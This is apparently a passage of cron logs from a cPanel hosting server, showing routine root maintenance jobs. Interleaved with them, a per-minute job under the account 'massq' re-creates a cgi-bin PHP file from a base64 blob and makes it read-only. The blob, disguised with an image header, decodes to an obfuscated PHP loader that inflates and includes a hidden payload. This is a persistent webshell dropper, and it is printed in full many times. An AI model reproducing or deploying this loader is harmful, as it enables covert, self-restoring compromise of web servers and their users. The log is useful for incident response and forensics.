Wx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:00:02 server CROND[4139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:01:01 server CROND[5091]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 12:01:01 server CROND[5092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:01:01 server CROND[5093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:01:01 server CROND[5094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:01:01 server run-parts(/etc/cron.hourly)[5091]: starting 0anacron
Sep  6 12:01:01 server run-parts(/etc/cron.hourly)[5113]: finished 0anacron
Sep  6 12:02:01 server CROND[5473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:02:01 server CROND[5474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:02:01 server CROND[5475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:03:01 server CROND[5853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:03:01 server CROND[5854]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:03:01 server CROND[5855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:04:01 server CROND[6241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:04:01 server CROND[6242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:04:01 server CROND[6243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:05:01 server CROND[6692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:05:01 server CROND[6694]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:05:01 server CROND[6696]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 12:05:01 server CROND[6702]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 12:05:01 server CROND[6701]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:05:01 server CROND[6697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:05:01 server CROND[6699]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:05:01 server CROND[6700]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 12:06:01 server CROND[7593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:06:01 server CROND[7592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:06:01 server CROND[7594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:07:01 server CROND[8115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:07:01 server CROND[8116]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:07:01 server CROND[8117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:08:01 server CROND[8480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:08:01 server CROND[8481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:08:01 server CROND[8482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:09:02 server CROND[8850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:09:02 server CROND[8852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:09:02 server CROND[8851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:09:02 server CROND[8854]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 12:10:01 server CROND[9293]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:10:01 server CROND[9294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:10:01 server CROND[9300]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:10:01 server CROND[9297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:10:01 server CROND[9302]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 12:10:01 server CROND[9301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:10:02 server CROND[9299]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 12:10:02 server CROND[9298]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 12:11:01 server CROND[10190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:11:01 server CROND[10191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:11:01 server CROND[10192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:12:01 server CROND[10653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:12:01 server CROND[10660]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 12:12:01 server CROND[10661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:12:01 server CROND[10663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyC